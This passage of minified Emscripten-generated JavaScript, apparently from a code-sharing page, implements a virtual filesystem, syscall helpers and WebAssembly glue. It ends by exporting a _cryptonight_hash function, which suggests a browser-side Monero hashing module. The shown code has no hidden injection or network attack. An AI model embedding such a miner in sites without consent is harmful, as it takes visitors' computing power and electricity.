if ("string" == typeof e) {
o = FS.lookupPath(e, {
follow: !n
}).node
} else o = e;
if (!o.node_ops.setattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
o.node_ops.setattr(o, {
timestamp: Date.now()
})
},
lchown: function(e, r, t) {
FS.chown(e, r, t, !0)
},
fchown: function(e, r, t) {
var n = FS.getStream(e);
if (!n) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
FS.chown(n.node, r, t)
},
truncate: function(e, r) {
if (r < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
var t;
if ("string" == typeof e) {
t = FS.lookupPath(e, {
follow: !0
}).node
} else t = e;
if (!t.node_ops.setattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
if (FS.isDir(t.mode)) throw new FS.ErrnoError(ERRNO_CODES.EISDIR);
if (!FS.isFile(t.mode)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
var n = FS.nodePermissions(t, "w");
if (n) throw new FS.ErrnoError(n);
t.node_ops.setattr(t, {
size: r,
timestamp: Date.now()
})
},
ftruncate: function(e, r) {
var t = FS.getStream(e);
if (!t) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
if (0 == (2097155 & t.flags)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
FS.truncate(t.node, r)
},
utime: function(e, r, t) {
var n = FS.lookupPath(e, {
follow: !0
}).node;
n.node_ops.setattr(n, {
timestamp: Math.max(r, t)
})
},
open: function(e, r, t, n, o) {
if ("" === e) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
r = "string" == typeof r ? FS.modeStringToFlags(r) : r, t = void 0 === t ? 438 : t, t = 64 & r ? 4095 & t | 32768 : 0;
var i;
if ("object" == typeof e) i = e;
else {
e = PATH.normalize(e);
try {
i = FS.lookupPath(e, {
follow: !(131072 & r)
}).node
} catch (e) {}
}
var a = !1;
if (64 & r)
if (i) {
if (128 & r) throw new FS.ErrnoError(ERRNO_CODES.EEXIST)
} else i = FS.mknod(e, t, 0), a = !0;
if (!i) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
if (FS.isChrdev(i.mode) && (r &= -513), 65536 & r && !FS.isDir(i.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);
if (!a) {
var s = FS.mayOpen(i, r);
if (s) throw new FS.ErrnoError(s)
}
512 & r && FS.truncate(i, 0), r &= -641;
var u = FS.createStream({
node: i,
path: FS.getPath(i),
flags: r,
seekable: !0,
position: 0,
stream_ops: i.stream_ops,
ungotten: [],
error: !1
}, n, o);
u.stream_ops.open && u.stream_ops.open(u), !Module.logReadFiles || 1 & r || (FS.readFiles || (FS.readFiles = {}), e in FS.readFiles || (FS.readFiles[e] = 1, Module.printErr("read file: " + e)));
try {
if (FS.trackingDelegate.onOpenFile) {
var l = 0;
1 != (2097155 & r) && (l |= FS.tracking.openFlags.READ), 0 != (2097155 & r) && (l |= FS.tracking.openFlags.WRITE), FS.trackingDelegate.onOpenFile(e, l)
}
} catch (r) {
console.log("FS.trackingDelegate['onOpenFile']('" + e + "', flags) threw an exception: " + r.message)
}
return u
},
close: function(e) {
e.getdents && (e.getdents = null);
try {
e.stream_ops.close && e.stream_ops.close(e)
} catch (e) {
throw e
} finally {
FS.closeStream(e.fd)
}
},
llseek: function(e, r, t) {
if (!e.seekable || !e.stream_ops.llseek) throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);
return e.position = e.stream_ops.llseek(e, r, t), e.ungotten = [], e.position
},
read: function(e, r, t, n, o) {
if (n < 0 || o < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
if (1 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
if (FS.isDir(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.EISDIR);
if (!e.stream_ops.read) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
var i = !0;
if (void 0 === o) o = e.position, i = !1;
else if (!e.seekable) throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);
var a = e.stream_ops.read(e, r, t, n, o);
return i || (e.position += a), a
},
write: function(e, r, t, n, o, i) {
if (n < 0 || o < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
if (0 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
if (FS.isDir(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.EISDIR);
if (!e.stream_ops.write) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
1024 & e.flags && FS.llseek(e, 0, 2);
var a = !0;
if (void 0 === o) o = e.position, a = !1;
else if (!e.seekable) throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);
var s = e.stream_ops.write(e, r, t, n, o, i);
a || (e.position += s);
try {
e.path && FS.trackingDelegate.onWriteToFile && FS.trackingDelegate.onWriteToFile(e.path)
} catch (e) {
console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message)
}
return s
},
allocate: function(e, r, t) {
if (r < 0 || t <= 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
if (0 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
if (!FS.isFile(e.node.mode) && !FS.isDir(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENODEV);
if (!e.stream_ops.allocate) throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP);
e.stream_ops.allocate(e, r, t)
},
mmap: function(e, r, t, n, o, i, a) {
if (1 == (2097155 & e.flags)) throw new FS.ErrnoError(ERRNO_CODES.EACCES);
if (!e.stream_ops.mmap) throw new FS.ErrnoError(ERRNO_CODES.ENODEV);
return e.stream_ops.mmap(e, r, t, n, o, i, a)
},
msync: function(e, r, t, n, o) {
return e && e.stream_ops.msync ? e.stream_ops.msync(e, r, t, n, o) : 0
},
munmap: function(e) {
return 0
},
ioctl: function(e, r, t) {
if (!e.stream_ops.ioctl) throw new FS.ErrnoError(ERRNO_CODES.ENOTTY);
return e.stream_ops.ioctl(e, r, t)
},
readFile: function(e, r) {
if (r = r || {}, r.flags = r.flags || "r", r.encoding = r.encoding || "binary", "utf8" !== r.encoding && "binary" !== r.encoding) throw new Error('Invalid encoding type "' + r.encoding + '"');
var t, n = FS.open(e, r.flags),
o = FS.stat(e).size,
i = new Uint8Array(o);
return FS.read(n, i, 0, o, 0), "utf8" === r.encoding ? t = UTF8ArrayToString(i, 0) : "binary" === r.encoding && (t = i), FS.close(n), t
},
writeFile: function(e, r, t) {
if (t = t || {}, t.flags = t.flags || "w", t.encoding = t.encoding || "utf8", "utf8" !== t.encoding && "binary" !== t.encoding) throw new Error('Invalid encoding type "' + t.encoding + '"');
var n = FS.open(e, t.flags, t.mode);
if ("utf8" === t.encoding) {
var o = new Uint8Array(lengthBytesUTF8(r) + 1),
i = stringToUTF8Array(r, o, 0, o.length);
FS.write(n, o, 0, i, 0, t.canOwn)
} else "binary" === t.encoding && FS.write(n, r, 0, r.length, 0, t.canOwn);
FS.close(n)
},
cwd: function() {
return FS.currentPath
},
chdir: function(e) {
var r = FS.lookupPath(e, {
follow: !0
});
if (null === r.node) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
if (!FS.isDir(r.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);
var t = FS.nodePermissions(r.node, "x");
if (t) throw new FS.ErrnoError(t);
FS.currentPath = r.path
},
createDefaultDirectories: function() {
FS.mkdir("/tmp"), FS.mkdir("/home"), FS.mkdir("/home/web_user")
},
createDefaultDevices: function() {
FS.mkdir("/dev"), FS.registerDevice(FS.makedev(1, 3), {
read: function() {
return 0
},
write: function(e, r, t, n, o) {
return n
}
}), FS.mkdev("/dev/null", FS.makedev(1, 3)), TTY.register(FS.makedev(5, 0), TTY.default_tty_ops), TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops), FS.mkdev("/dev/tty", FS.makedev(5, 0)), FS.mkdev("/dev/tty1", FS.makedev(6, 0));
var e;
if ("undefined" != typeof crypto) {
var r = new Uint8Array(1);
e = function() {
return crypto.getRandomValues(r), r[0]
}
} else e = function() {
return 256 * Math.random() | 0
};
FS.createDevice("/dev", "random", e), FS.createDevice("/dev", "urandom", e), FS.mkdir("/dev/shm"), FS.mkdir("/dev/shm/tmp")
},
createSpecialDirectories: function() {
FS.mkdir("/proc"), FS.mkdir("/proc/self"), FS.mkdir("/proc/self/fd"), FS.mount({
mount: function() {
var e = FS.createNode("/proc/self", "fd", 16895, 73);
return e.node_ops = {
lookup: function(e, r) {
var t = +r,
n = FS.getStream(t);
if (!n) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
var o = {
parent: null,
mount: {
mountpoint: "fake"
},
node_ops: {
readlink: function() {
return n.path
}
}
};
return o.parent = o, o
}
}, e
}
}, {}, "/proc/self/fd")
},
createStandardStreams: function() {
Module.stdin ? FS.createDevice("/dev", "stdin", Module.stdin) : FS.symlink("/dev/tty", "/dev/stdin"), Module.stdout ? FS.createDevice("/dev", "stdout", null, Module.stdout) : FS.symlink("/dev/tty", "/dev/stdout"), Module.stderr ? FS.createDevice("/dev", "stderr", null, Module.stderr) : FS.symlink("/dev/tty1", "/dev/stderr");
var e = FS.open("/dev/stdin", "r");
assert(0 === e.fd, "invalid handle for stdin (" + e.fd + ")");
var r = FS.open("/dev/stdout", "w");
assert(1 === r.fd, "invalid handle for stdout (" + r.fd + ")");
var t = FS.open("/dev/stderr", "w");
assert(2 === t.fd, "invalid handle for stderr (" + t.fd + ")")
},
ensureErrnoError: function() {
FS.ErrnoError || (FS.ErrnoError = function(e, r) {
this.node = r, this.setErrno = function(e) {
this.errno = e;
for (var r in ERRNO_CODES)
if (ERRNO_CODES[r] === e) {
this.code = r;
break
}
}, this.setErrno(e), this.message = ERRNO_MESSAGES[e]
}, FS.ErrnoError.prototype = new Error, FS.ErrnoError.prototype.constructor = FS.ErrnoError, [ERRNO_CODES.ENOENT].forEach(function(e) {
FS.genericErrors[e] = new FS.ErrnoError(e), FS.genericErrors[e].stack = "<generic error, no stack>"
}))
},
staticInit: function() {
FS.ensureErrnoError(), FS.nameTable = new Array(4096), FS.mount(MEMFS, {}, "/"), FS.createDefaultDirectories(), FS.createDefaultDevices(), FS.createSpecialDirectories(), FS.filesystems = {
MEMFS: MEMFS,
IDBFS: IDBFS,
NODEFS: NODEFS,
WORKERFS: WORKERFS
}
},
init: function(e, r, t) {
assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)"), FS.init.initialized = !0, FS.ensureErrnoError(), Module.stdin = e || Module.stdin, Module.stdout = r || Module.stdout, Module.stderr = t || Module.stderr, FS.createStandardStreams()
},
quit: function() {
FS.init.initialized = !1;
var e = Module._fflush;
e && e(0);
for (var r = 0; r < FS.streams.length; r++) {
var t = FS.streams[r];
t && FS.close(t)
}
},
getMode: function(e, r) {
var t = 0;
return e && (t |= 365), r && (t |= 146), t
},
joinPath: function(e, r) {
var t = PATH.join.apply(null, e);
return r && "/" == t[0] && (t = t.substr(1)), t
},
absolutePath: function(e, r) {
return PATH.resolve(r, e)
},
standardizePath: function(e) {
return PATH.normalize(e)
},
findObject: function(e, r) {
var t = FS.analyzePath(e, r);
return t.exists ? t.object : (___setErrNo(t.error), null)
},
analyzePath: function(e, r) {
try {
e = (n = FS.lookupPath(e, {
follow: !r
})).path
} catch (e) {}
var t = {
isRoot: !1,
exists: !1,
error: 0,
name: null,
path: null,
object: null,
parentExists: !1,
parentPath: null,
parentObject: null
};
try {
var n = FS.lookupPath(e, {
parent: !0
});
t.parentExists = !0, t.parentPath = n.path, t.parentObject = n.node, t.name = PATH.basename(e), n = FS.lookupPath(e, {
follow: !r
}), t.exists = !0, t.path = n.path, t.object = n.node, t.name = n.node.name, t.isRoot = "/" === n.path
} catch (e) {
t.error = e.errno
}
return t
},
createFolder: function(e, r, t, n) {
var o = PATH.join2("string" == typeof e ? e : FS.getPath(e), r),
i = FS.getMode(t, n);
return FS.mkdir(o, i)
},
createPath: function(e, r, t, n) {
e = "string" == typeof e ? e : FS.getPath(e);
for (var o = r.split("/").reverse(); o.length;) {
var i = o.pop();
if (i) {
var a = PATH.join2(e, i);
try {
FS.mkdir(a)
} catch (e) {}
e = a
}
}
return a
},
createFile: function(e, r, t, n, o) {
var i = PATH.join2("string" == typeof e ? e : FS.getPath(e), r),
a = FS.getMode(n, o);
return FS.create(i, a)
},
createDataFile: function(e, r, t, n, o, i) {
var a = r ? PATH.join2("string" == typeof e ? e : FS.getPath(e), r) : e,
s = FS.getMode(n, o),
u = FS.create(a, s);
if (t) {
if ("string" == typeof t) {
for (var l = new Array(t.length), c = 0, d = t.length; c < d; ++c) l[c] = t.charCodeAt(c);
t = l
}
FS.chmod(u, 146 | s);
var E = FS.open(u, "w");
FS.write(E, t, 0, t.length, 0, i), FS.close(E), FS.chmod(u, s)
}
return u
},
createDevice: function(e, r, t, n) {
var o = PATH.join2("string" == typeof e ? e : FS.getPath(e), r),
i = FS.getMode(!!t, !!n);
FS.createDevice.major || (FS.createDevice.major = 64);
var a = FS.makedev(FS.createDevice.major++, 0);
return FS.registerDevice(a, {
open: function(e) {
e.seekable = !1
},
close: function(e) {
n && n.buffer && n.buffer.length && n(10)
},
read: function(e, r, n, o, i) {
for (var a = 0, s = 0; s < o; s++) {
var u;
try {
u = t()
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES.EIO)
}
if (void 0 === u && 0 === a) throw new FS.ErrnoError(ERRNO_CODES.EAGAIN);
if (null === u || void 0 === u) break;
a++, r[n + s] = u
}
return a && (e.node.timestamp = Date.now()), a
},
write: function(e, r, t, o, i) {
for (var a = 0; a < o; a++) try {
n(r[t + a])
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES.EIO)
}
return o && (e.node.timestamp = Date.now()), a
}
}), FS.mkdev(o, i, a)
},
createLink: function(e, r, t, n, o) {
var i = PATH.join2("string" == typeof e ? e : FS.getPath(e), r);
return FS.symlink(t, i)
},
forceLoadFile: function(e) {
if (e.isDevice || e.isFolder || e.link || e.contents) return !0;
var r = !0;
if ("undefined" != typeof XMLHttpRequest) throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.");
if (!Module.read) throw new Error("Cannot load without read() or XMLHttpRequest.");
try {
e.contents = intArrayFromString(Module.read(e.url), !0), e.usedBytes = e.contents.length
} catch (e) {
r = !1
}
return r || ___setErrNo(ERRNO_CODES.EIO), r
},
createLazyFile: function(e, r, t, n, o) {
function i() {
this.lengthKnown = !1, this.chunks = []
}
if (i.prototype.get = function(e) {
if (!(e > this.length - 1 || e < 0)) {
var r = e % this.chunkSize,
t = e / this.chunkSize | 0;
return this.getter(t)[r]
}
}, i.prototype.setDataGetter = function(e) {
this.getter = e
}, i.prototype.cacheLength = function() {
var e = new XMLHttpRequest;
if (e.open("HEAD", t, !1), e.send(null), !(e.status >= 200 && e.status < 300 || 304 === e.status)) throw new Error("Couldn't load " + t + ". Status: " + e.status);
var r, n = Number(e.getResponseHeader("Content-length")),
o = (r = e.getResponseHeader("Accept-Ranges")) && "bytes" === r,
i = (r = e.getResponseHeader("Content-Encoding")) && "gzip" === r,
a = 1048576;
o || (a = n);
var s = this;
s.setDataGetter(function(e) {
var r = e * a,
o = (e + 1) * a - 1;
if (o = Math.min(o, n - 1), void 0 === s.chunks[e] && (s.chunks[e] = function(e, r) {
if (e > r) throw new Error("invalid range (" + e + ", " + r + ") or no bytes requested!");
if (r > n - 1) throw new Error("only " + n + " bytes available! programmer error!");
var o = new XMLHttpRequest;
if (o.open("GET", t, !1), n !== a && o.setRequestHeader("Range", "bytes=" + e + "-" + r), "undefined" != typeof Uint8Array && (o.responseType = "arraybuffer"), o.overrideMimeType && o.overrideMimeType("text/plain; charset=x-user-defined"), o.send(null), !(o.status >= 200 && o.status < 300 || 304 === o.status)) throw new Error("Couldn't load " + t + ". Status: " + o.status);
return void 0 !== o.response ? new Uint8Array(o.response || []) : intArrayFromString(o.responseText || "", !0)
}(r, o)), void 0 === s.chunks[e]) throw new Error("doXHR failed!");
return s.chunks[e]
}), !i && n || (a = n = 1, n = this.getter(0).length, a = n, console.log("LazyFiles on gzip forces download of the whole file when length is accessed")), this._length = n, this._chunkSize = a, this.lengthKnown = !0
}, "undefined" != typeof XMLHttpRequest) {
if (!ENVIRONMENT_IS_WORKER) throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";
var a = new i;
Object.defineProperties(a, {
length: {
get: function() {
return this.lengthKnown || this.cacheLength(), this._length
}
},
chunkSize: {
get: function() {
return this.lengthKnown || this.cacheLength(), this._chunkSize
}
}
});
var s = {
isDevice: !1,
contents: a
}
} else s = {
isDevice: !1,
url: t
};
var u = FS.createFile(e, r, s, n, o);
s.contents ? u.contents = s.contents : s.url && (u.contents = null, u.url = s.url), Object.defineProperties(u, {
usedBytes: {
get: function() {
return this.contents.length
}
}
});
var l = {};
return Object.keys(u.stream_ops).forEach(function(e) {
var r = u.stream_ops[e];
l[e] = function() {
if (!FS.forceLoadFile(u)) throw new FS.ErrnoError(ERRNO_CODES.EIO);
return r.apply(null, arguments)
}
}), l.read = function(e, r, t, n, o) {
if (!FS.forceLoadFile(u)) throw new FS.ErrnoError(ERRNO_CODES.EIO);
var i = e.node.contents;
if (o >= i.length) return 0;
var a = Math.min(i.length - o, n);
if (assert(a >= 0), i.slice)
for (var s = 0; s < a; s++) r[t + s] = i[o + s];
else
for (s = 0; s < a; s++) r[t + s] = i.get(o + s);
return a
}, u.stream_ops = l, u
},
createPreloadedFile: function(e, r, t, n, o, i, a, s, u, l) {
function c(t) {
function c(t) {
l && l(), s || FS.createDataFile(e, r, t, n, o, u), i && i(), removeRunDependency(E)
}
var f = !1;
Module.preloadPlugins.forEach(function(e) {
f || e.canHandle(d) && (e.handle(t, d, c, function() {
a && a(), removeRunDependency(E)
}), f = !0)
}), f || c(t)
}
Browser.init();
var d = r ? PATH.resolve(PATH.join2(e, r)) : e,
E = getUniqueRunDependency("cp " + d);
addRunDependency(E), "string" == typeof t ? Browser.asyncLoad(t, function(e) {
c(e)
}, a) : c(t)
},
indexedDB: function() {
return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB
},
DB_NAME: function() {
return "EM_FS_" + window.location.pathname
},
DB_VERSION: 20,
DB_STORE_NAME: "FILE_DATA",
saveFilesToDB: function(e, r, t) {
r = r || function() {}, t = t || function() {};
var n = FS.indexedDB();
try {
var o = n.open(FS.DB_NAME(), FS.DB_VERSION)
} catch (e) {
return t(e)
}
o.onupgradeneeded = function() {
console.log("creating db");
o.result.createObjectStore(FS.DB_STORE_NAME)
}, o.onsuccess = function() {
function n() {
0 == u ? r() : t()
}
var i = o.result.transaction([FS.DB_STORE_NAME], "readwrite"),
a = i.objectStore(FS.DB_STORE_NAME),
s = 0,
u = 0,
l = e.length;
e.forEach(function(e) {
var r = a.put(FS.analyzePath(e).object.contents, e);
r.onsuccess = function() {
++s + u == l && n()
}, r.onerror = function() {
s + ++u == l && n()
}
}), i.onerror = t
}, o.onerror = t
},
loadFilesFromDB: function(e, r, t) {
r = r || function() {}, t = t || function() {};
var n = FS.indexedDB();
try {
var o = n.open(FS.DB_NAME(), FS.DB_VERSION)
} catch (e) {
return t(e)
}
o.onupgradeneeded = t, o.onsuccess = function() {
function n() {
0 == l ? r() : t()
}
var i = o.result;
try {
var a = i.transaction([FS.DB_STORE_NAME], "readonly")
} catch (e) {
return void t(e)
}
var s = a.objectStore(FS.DB_STORE_NAME),
u = 0,
l = 0,
c = e.length;
e.forEach(function(e) {
var r = s.get(e);
r.onsuccess = function() {
FS.analyzePath(e).exists && FS.unlink(e), FS.createDataFile(PATH.dirname(e), PATH.basename(e), r.result, !0, !0, !0), ++u + l == c && n()
}, r.onerror = function() {
u + ++l == c && n()
}
}), a.onerror = t
}, o.onerror = t
}
}, SYSCALLS = {
DEFAULT_POLLMASK: 5,
mappings: {},
umask: 511,
calculateAt: function(e, r) {
if ("/" !== r[0]) {
var t;
if (-100 === e) t = FS.cwd();
else {
var n = FS.getStream(e);
if (!n) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
t = n.path
}
r = PATH.join2(t, r)
}
return r
},
doStat: function(e, r, t) {
try {
var n = e(r)
} catch (e) {
if (e && e.node && PATH.normalize(r) !== PATH.normalize(FS.getPath(e.node))) return -ERRNO_CODES.ENOTDIR;
throw e
}
return HEAP32[t >> 2] = n.dev, HEAP32[t + 4 >> 2] = 0, HEAP32[t + 8 >> 2] = n.ino, HEAP32[t + 12 >> 2] = n.mode, HEAP32[t + 16 >> 2] = n.nlink, HEAP32[t + 20 >> 2] = n.uid, HEAP32[t + 24 >> 2] = n.gid, HEAP32[t + 28 >> 2] = n.rdev, HEAP32[t + 32 >> 2] = 0, HEAP32[t + 36 >> 2] = n.size, HEAP32[t + 40 >> 2] = 4096, HEAP32[t + 44 >> 2] = n.blocks, HEAP32[t + 48 >> 2] = n.atime.getTime() / 1e3 | 0, HEAP32[t + 52 >> 2] = 0, HEAP32[t + 56 >> 2] = n.mtime.getTime() / 1e3 | 0, HEAP32[t + 60 >> 2] = 0, HEAP32[t + 64 >> 2] = n.ctime.getTime() / 1e3 | 0, HEAP32[t + 68 >> 2] = 0, HEAP32[t + 72 >> 2] = n.ino, 0
},
doMsync: function(e, r, t, n) {
var o = new Uint8Array(HEAPU8.subarray(e, e + t));
FS.msync(r, o, 0, t, n)
},
doMkdir: function(e, r) {
return "/" === (e = PATH.normalize(e))[e.length - 1] && (e = e.substr(0, e.length - 1)), FS.mkdir(e, r, 0), 0
},
doMknod: function(e, r, t) {
switch (61440 & r) {
case 32768:
case 8192:
case 24576:
case 4096:
case 49152:
break;
default:
return -ERRNO_CODES.EINVAL
}
return FS.mknod(e, r, t), 0
},
doReadlink: function(e, r, t) {
if (t <= 0) return -ERRNO_CODES.EINVAL;
var n = FS.readlink(e),
o = Math.min(t, lengthBytesUTF8(n)),
i = HEAP8[r + o];
return stringToUTF8(n, r, t + 1), HEAP8[r + o] = i, o
},
doAccess: function(e, r) {
if (-8 & r) return -ERRNO_CODES.EINVAL;
var t;
t = FS.lookupPath(e, {
follow: !0
}).node;
var n = "";
return 4 & r && (n += "r"), 2 & r && (n += "w"), 1 & r && (n += "x"), n && FS.nodePermissions(t, n) ? -ERRNO_CODES.EACCES : 0
},
doDup: function(e, r, t) {
var n = FS.getStream(t);
return n && FS.close(n), FS.open(e, r, 0, t, t).fd
},
doReadv: function(e, r, t, n) {
for (var o = 0, i = 0; i < t; i++) {
var a = HEAP32[r + 8 * i >> 2],
s = HEAP32[r + (8 * i + 4) >> 2],
u = FS.read(e, HEAP8, a, s, n);
if (u < 0) return -1;
if (o += u, u < s) break
}
return o
},
doWritev: function(e, r, t, n) {
for (var o = 0, i = 0; i < t; i++) {
var a = HEAP32[r + 8 * i >> 2],
s = HEAP32[r + (8 * i + 4) >> 2],
u = FS.write(e, HEAP8, a, s, n);
if (u < 0) return -1;
o += u
}
return o
},
varargs: 0,
get: function(e) {
SYSCALLS.varargs += 4;
return HEAP32[SYSCALLS.varargs - 4 >> 2]
},
getStr: function() {
return Pointer_stringify(SYSCALLS.get())
},
getStreamFromFD: function() {
var e = FS.getStream(SYSCALLS.get());
if (!e) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
return e
},
getSocketFromFD: function() {
var e = SOCKFS.getSocket(SYSCALLS.get());
if (!e) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
return e
},
getSocketAddress: function(e) {
var r = SYSCALLS.get(),
t = SYSCALLS.get();
if (e && 0 === r) return null;
var n = __read_sockaddr(r, t);
if (n.errno) throw new FS.ErrnoError(n.errno);
return n.addr = DNS.lookup_addr(n.addr) || n.addr, n
},
get64: function() {
var e = SYSCALLS.get(),
r = SYSCALLS.get();
return assert(e >= 0 ? 0 === r : -1 === r), e
},
getZero: function() {
assert(0 === SYSCALLS.get())
}
}, ___tm_current = STATICTOP; STATICTOP += 48;
var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC); FS.staticInit(), __ATINIT__.unshift(function() {
Module.noFSInit || FS.init.initialized || FS.init()
}), __ATMAIN__.push(function() {
FS.ignorePermissions = !1
}), __ATEXIT__.push(function() {
FS.quit()
}), Module.FS_createFolder = FS.createFolder, Module.FS_createPath = FS.createPath, Module.FS_createDataFile = FS.createDataFile, Module.FS_createPreloadedFile = FS.createPreloadedFile, Module.FS_createLazyFile = FS.createLazyFile, Module.FS_createLink = FS.createLink, Module.FS_createDevice = FS.createDevice, Module.FS_unlink = FS.unlink, __ATINIT__.unshift(function() {
TTY.init()
}), __ATEXIT__.push(function() {
TTY.shutdown()
}), DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC), STACK_BASE = STACKTOP = Runtime.alignMemory(STATICTOP), STACK_MAX = STACK_BASE + TOTAL_STACK, DYNAMIC_BASE = Runtime.alignMemory(STACK_MAX), HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE, staticSealed = !0, Module.wasmTableSize = 14, Module.wasmMaxTableSize = 14, Module.asmGlobalArg = {
Math: Math,
Int8Array: Int8Array,
Int16Array: Int16Array,
Int32Array: Int32Array,
Uint8Array: Uint8Array,
Uint16Array: Uint16Array,
Uint32Array: Uint32Array,
Float32Array: Float32Array,
Float64Array: Float64Array,
NaN: NaN,
Infinity: 1 / 0
}, Module.asmLibraryArg = {
abort: abort,
assert: assert,
enlargeMemory: enlargeMemory,
getTotalMemory: getTotalMemory,
abortOnCannotGrowMemory: abortOnCannotGrowMemory,
invoke_ii: invoke_ii,
invoke_iiii: invoke_iiii,
invoke_viii: invoke_viii,
_gmtime_r: _gmtime_r,
_gmtime: _gmtime,
___lock: ___lock,
___syscall6: ___syscall6,
___setErrNo: ___setErrNo,
___unlock: ___unlock,
_ftime: _ftime,
_emscripten_memcpy_big: _emscripten_memcpy_big,
___syscall54: ___syscall54,
___syscall140: ___syscall140,
___syscall20: ___syscall20,
___assert_fail: ___assert_fail,
___syscall146: ___syscall146,
DYNAMICTOP_PTR: DYNAMICTOP_PTR,
tempDoublePtr: tempDoublePtr,
STACK_MAX: STACK_MAX,
STACKTOP: STACKTOP,
ABORT: ABORT
};
var asm = Module.asm(Module.asmGlobalArg, Module.asmLibraryArg, buffer); Module.asm = asm;
var _cryptonight_hash = Module._cryptonight_hash = function() {
return Module.asm._cryptonight_hash.apply(null, arguments)
}, getTempRet0 = Module.getTempRet0 = function() {
return Module.asm.getTempRet0.apply(null, arguments)
}, _free = Module._free = function() {
return Module.asm._free.apply(null, arguments)
}, runPostSets = Module.runPostSets = function() {
return Module.asm.runPostSets.apply(null, arguments)
}, setTempRet0 = Module.setTempRet0 = function() {
return Module.asm.setTempRet0.apply(null, arguments)
}, establishStackSpace = Module.establishStackSpace = function() {
return Module.asm.establishStackSpace.apply(null, arguments)
}, _memmove = Module._memmove = function() {
return Module.asm._memmove.apply(null, arguments)
}, stackSave = Module.stackSave = function() {
return Module.asm.stackSave.apply(null, arguments)
}, _memset = Module._memset = function() {
return Module.asm._memset.apply(null, arguments)
}, _malloc = Module._malloc = function() {
return Module.asm._malloc.apply(null, arguments)
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment